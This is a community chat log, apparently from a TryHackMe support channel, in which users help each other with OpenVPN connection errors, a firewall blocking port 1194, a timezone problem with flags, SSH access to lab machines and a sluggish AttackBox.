openVPN? @woeful hedge or the thm vpn file?
I dont know how to get to that window all I see is @bronze vale
Head to https://tryhackme.com/access, select the VPN server you want to use, then press the blue regenerate button
Wait 2 minutes, then press download
The client
Then re-run the openvpn command, sudo openvpn file.ovpn but make sure you use the downloaded file and not the old openvpn config
EU-regular-3 it says
press the blue regenerate button
now it works @bronze vale thanks
Gave +1 Rep to @bronze vale
Yw:)
equally? I dont recall duffy being muted for his 2 seperate instances of being very rude.
But I agree with your sentiment ๐
data-ciphers AES-256-CBC isn't working for me
what issue or error are you having?
see if we can figure it out
I have tried various edits for this line from the web but to no connection was established
what should I edit the ciphers line to?
I have regenerated link from the website thrice
I dont suppose you read the last comments above to help that other guy did you? about redownloading the configs etc..? itcase that helped
I read the whole thing but all of it failed
can you post whole pic pls
is this readable?
can you show the whole. even last lines
Regen your configuration.
this. but try select another server
ok I will give it a try
and update/upgrade and dist-upgrade os
Everthing is updated to the latest version, I have installed it today all from scratch
this is from EU-Regular-1
this is bit over my knowledge. when some mod or so jumps in will help you
ok thanks btw
Gave +1 Rep to @tribal burrow
Which country are you in?
Is your VM time/date set correctly?
yes you were right the time was set wrong.
I have now changed it
but the error still persists
Try deleting all past configs, and Regenerating on emore time.
done!
same error
Do you have a VPN active?
Are you on your home network?
I on my institute network
they have recently changed the firewall settings
You could always ask them to unblock port 1194, explain why and show them the website.
They might unblock
now I get it, the firewall is blocking me from even downloading apps for MS Store
Bingo ๐
I will ask them to change it, thank you sir
I will contact you again if the issue persists after they change the settings
Is there a way to make attackbox not unusably slow? I get that I can instead use a vm and openvpn, but THM says attackbox is recommended yet it lags like Iโm connecting to a server on a different planet.
Are you a free user? they have slower machines.
I've never experienced lag with the Attackbox
Nope. Subscribed this morning.
9 seconds for terminal to open from the time of clicking. Another 11 seconds before being able to input text.
Typed in SSH command and the whole thing didnโt appear until 21 seconds after typing.
United Kingdom but I am from India
Anybody have idea how to solve the flag issue I tried many things but not worth it
if you turn off all vpn. then click
http://tryhackme.com/api/user/update-timezone
I already try this and I am not using any vpn sometimes I used in m VM but now not using
hmm... without all vpn try check on some online site you region to check will it show correct one
It's correct
try logout of thm and clear cache and relogin
Already try this
hmm... did you try login on host os to thm and then click the link ?
I even raised a ticket but it's been 6 days no reply from THM team
Reply is currently 6-8 days
oh... might need some time. lots of work from they side
Yes i am not using VM now am on my system
But I am facing this issue I tried all things
then i rly no idea. if is not something of high importance wait for a day or two more
guys im trying to connect to a machine using an attackbox and it gives the error
permission denied(publickey)
i've even tried using openvpn on different machines of my own and it still gives the same error.
idk if this is the corret channel to ask for this question
Let's wait hope they will solve my problem
they will do...
I don't think you can SSH in to that machine. (Not that you need to)
well how do i access the machine then
You interact with the IP in a web browser?
no like i enter this command int he terminal on the attackbox : ssh tryhackme@machineip
You need to read all task information.
The user might not be tryhackme ?
i have tried it with the user given on top as well
You can't SSH in to all THM machines.
so what command do i use-
You interact with the IP in a web browser?
It literally tells you in the task.
Oh wait-
My bad.
I thought you had to connect to the machine using the terminal like in the previous tasks
Nah, some rooms you just need the ip to visit the web page
Thanks alot mate.
โฆOkay cool thanks for the help. Lol.
There is literally nothing we can do if you're experiencing lag?
Thereโs literally nothing support can do if the product theyโre supporting isnโt functioning?
It is though?
Iโve been attempting to start a web server via python for 35 minutes.
Zero functionality.
Syntax?
Python3 -m http.server
Syntax isnโt the issue. The box is unresponsive at this point no matter how many times I terminate and reopen.
And now I have a solid black screen in place of my attackbox.
you go to local folder from where you wish start py serv and run comman. the terminal will look non responding
but is working
I do not have a terminal now. I have a solid black screen.
!docs verify
Can you verify and take a screenshot?
How's your internet connection?
800mb/s.
Yeah one min
And latency?
I had 2 servers and 8 VM's all running simultaneously 20 minutes ago without issues while practicing some OSED prep stuff. Promise internet is not the issue.
I'm just ruling out all possibilities
might help
its not an issue of getting a cconnection to a web server. That was my example fo rthe fact that it was lagging and then got so bad that after 30 minutes one command couldnt execute
But the python seerver just sits there.
It only shows an interaction when you try to wget etc.
py serv is looking like hanging but it works
I'm not sure where the confusion is coming from on your end. When I press keys on my keyboard, they do not show up on the screen. If I type "python" what shows up is " " (nothing). It can't even get to where it hangs, because it is freezing. If I right click on my desktop to open a new terminal, nothing happens. Again, because everything is just frozen. To reiterate, this is not a web server issue. It is attackbox not functioning in any way, shape, or form.
I understand that py serv looks like its hanging when theres a connection
I understand that nothing happens until you wget
Screnshot?
this is what attackbox looks like for me.
Have you tried to terminate and reboot?
